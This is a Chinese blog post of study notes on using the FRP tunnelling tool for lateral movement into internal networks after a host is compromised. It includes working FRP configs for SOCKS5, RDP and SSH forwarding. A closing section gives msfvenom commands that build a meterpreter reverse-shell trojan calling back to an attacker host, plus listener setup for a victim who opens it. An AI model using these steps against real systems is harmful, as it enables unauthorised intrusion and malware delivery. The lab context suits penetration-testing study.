FRP学习笔记

学习与坐禅相似,须有一颗恒心!

简介:

1
2
3
FRP(Fast Reverse Proxy) 是一款简单,好用,稳定的隧道工具。FRP 使用 Go 语言开发,它是一款高性能的反向代理应用,可以轻松地进行内网穿透,对外网提供服务。
FRP 支持 TCP、UDP、KCP、HTTP、HTTPS等协议类型,并且支持 Web 服务根据域名进行路由转发。在进行内网渗透中,FRP是常用的一款隧道工具。可以初略理解为一个中转站,
帮助你实现公网<--->FRP服务器<--->家庭内网的连接,让内网的设备可以被公网访问到。

FRP中文官方教程:

1
https://github.com/fatedier/frp/blob/master/README_zh.md

使用FRP建立隧道:

1
2
现在有这么一个场景,我们获得了一个位于内网的通过NAT方式对外提供服务的主机的权限,现在我们需要对其所在的内网继续进行渗透。
于是,我们就需要通过FRP建立一个隧道,让我们的主机可以通过隧道访问其内网。

1
2
3
4
5
VPS作为FRP的服务器端,地址为:100.20.14.14
边界web服务器作为FRP的客户端,两个网卡,一个网卡绑定这公网地址42.41.52.13,另一个网卡作为内网的网卡
ip地址为192.168.10.10

还有两个内网主机地址,分别为192.168.10.20和192.168.10.30

linux环境下安装FRP

1
2
3
wget https://github.com/fatedier/frp/releases/download/v0.31.2/frp_0.31.2_linux_amd64.tar.gz
tar zxvf frp_0.31.2_linux_amd64.tar.gz
cd frp_0.31.2_linux_amd64/

windows环境下安装FRP:

1
https://github.com/fatedier/frp/releases/download/v0.31.2/frp_0.31.2_windows_amd64.zip

文件解压之后,有这么几个主要的文件:

1
2
3
4
5
frps:服务器端运行文件
frpc:frp客户端运行文件
frps.ini:frp服务端配置文件
frpc.ini:frp客户端配置文件
frp_full_ini:frp全局配置文件

配置服务器端:

1
2
3
4
5
6
7
8
9
10
11
12
vim frps.ini
#填写以下内容
[common]
bind_addr = 0.0.0.0 #绑定的ip,为本机
bind_port = 17000 #绑定的端口
dashboard_addr = 0.0.0.0 #dashboard管理地址
dashboard_port = 27500 #dashboard管理端口
dashboard_user = root #dashboard管理的用户名
dashboard_pwd = 123456 #dashboard管理用户的密码
token = 1q2w3e #客户端服务端连接的密码
heartbeat_timeout = 90 #心跳超时时间
max_pool_count = 5 #最大同时连接数

保存然后启动服务

1
2
#前台启动
./frps -c frps.ini

后台启动:

1
nohup ./frps -c frps.ini &

配置客户端:

编辑frpc.ini

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[common]
server_addr = 192.168.200.128
server_port = 17000 #服务器绑定的端口
token = 1q2w3e #连接服务器的密码
pool_count = 5
protocol = tcp #指定协议类型
health_check_type = tcp
health_check_interval_s = 100
#名字可以自定义,此处为代理名
[test]
remote_port = 10000 #代理的端口
plugin = socks5 #使用的协议
use_encryption = true #是否加密
use_compression = true #是否压缩

在客户端运行,我这里客户端为windows主机:

1
frpc.exe -c frpc.ini

连接之后,即会有日志传出

我的拓扑图大致如下:

192.168.200.128为我的攻击机kali的ip,处于公网中(做实验所以暂定为公网)

192.168.200.131为边界windows服务器的公网地址(做实验所以暂定为公网),这个主机也有另一个网卡为192.168.150.129,这个网卡位于内网中

192.168.150.130位内网主机centos7服务器的ip

也可以通过浏览器访问刚刚在配置文件中指定的端口

我们这次设置的代理为socks5 192.168.200.128 10000

使用FRP映射内网的WEB服务

现在有个场景,位于内网的主机需要对外提供web服务,于是将内网主机的80端口映射到公网主机的80端口

这样我们就可以将192.168.150.129的80端口转发到192.168.200.128这个主机的80端口上啦,那么只需要访问192.168.200.128的80端口即可

服务端frps.ini的配置如下:

1
2
3
4
5
6
7
8
9
[common]
bind_addr = 0.0.0.0 #绑定的ip,为本机
bind_port = 17000 #绑定的端口
dashboard_addr = 0.0.0.0 #管理地址
dashboard_port = 27500 #管理端口
dashboard_user = root #管理的用户名
dashboard_pwd = 123456 #管理用户的密码
token = 1q2w3e #客户端服务端连接的密码
heartbeat_timeout = 90 #心跳超时时间

客户端frpc.ini的配置如下:

1
2
3
4
5
6
7
8
9
10
[common]
server_addr = 192.168.200.128 #服务端ip
server_port = 17000 #服务器绑定的端口
token = 1q2w3e #连接的密码
[HTTP]
type=tcp
local_ip = 127.0.0.1 #本地ip地址
local_port = 80 #要映射的本地端口
remote_port = 80 #要映射的服务端端口
custom_domains=www.test.com #这个必须要写

搭建成功

那么便可

以通过访问192.168.200.128的80端口,即会把流量转发到192.168.150.129的80端口上

利用FRP映射3389端口

现在有这么一个场景,我们获得了位于内网的一台主机的权限,并且知道了他的登录用户名和密码。他的3389端口只对内网开放,现在我们需要将该主机的3389端口映射到公网我们的VPS的3389端口,那样,我们连接我们VPS的3389端口就相当于连接内网主机的3389端口了。

服务端配置:

1
2
3
4
5
6
7
8
9
[common]
bind_addr = 0.0.0.0 #绑定的ip,为本机
bind_port = 17000 #绑定的端口
dashboard_addr = 0.0.0.0 #管理地址
dashboard_port = 27500 #管理端口
dashboard_user = root #管理的用户名
dashboard_pwd = 123456 #管理用户的密码
token = 1q2w3e #客户端服务端连接的密码
heartbeat_timeout = 90 #心跳超时时间

客户端配置:

1
2
3
4
5
6
7
8
9
[common]
server_addr = 192.168.200.128
server_port = 17000
token = 1q2w3e
[test]
type=tcp
local_ip = 127.0.0.1
local_port = 3389
remote_port = 3389

FRP实现SSH端口转发

客户端frpc.ini

1
2
3
4
5
6
7
8
[common]
server_addr = 192.168.150.129
server_port = 7000
[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 6000

服务端:

1
2
[common]
bind_port = 7000

MSF配合frp

阿里云主机启动frps

配置如下:

1
2
3
4
5
6
7
8
9
10
11
12
  vim frps.ini

#frp服务端与客户端连接端口,frps和frpc必须一致
bind_port = 7000


#下面配置可以不写,个人意愿
# 仪表盘端口,只有设置了才能使用仪表盘(即后台)
dashboard_port = 7500
# 仪表盘访问的用户名密码,如果不设置,则默认都是 admin
dashboard_user = admin
dashboard_pwd = admin

msf生成木马,lhost为kali的地址:

1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.200.128 LPORT=4444 -f exe > haha.exe

kali中设置为服务端规则

1
2
3
4
5
6
7
8
9
[common]
server_addr = 你的云主机ip
server_port = 7000 #frpc工作端口,必须和上面frps保持一致

[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 5555 #转发给本机的5555
remote_port = 6000 #服务端用6000端口转发给本机

启动frpc: ./frpc -c frpc.ini

kali制作木马,lhost执行阿里云地址,lport为刚刚设置的frpc.ini的remote_port端口

1
msfvenom -p windows/meterpreter/reverse_tcp lhost=你的云主机地址  lport=6000 -f exe x>haha.exe

把木马发给内网主机,然后kali设置监听

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
msfconsole

msf > use exploit/multi/handler

msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf exploit(multi/handler) > set lhost 127.0.0.1 #设置监听ip,必须和frpc中的local_ip 一致

lhost => 127.0.0.1

msf exploit(multi/handler) > set lport 5555 #设置监听端口,与frpc中的local_port一致

lport =>5555

msf exploit(multi/handler) > exploit

对方一点击即可获取到shell

-------------本文结束感谢您的阅读-------------
0%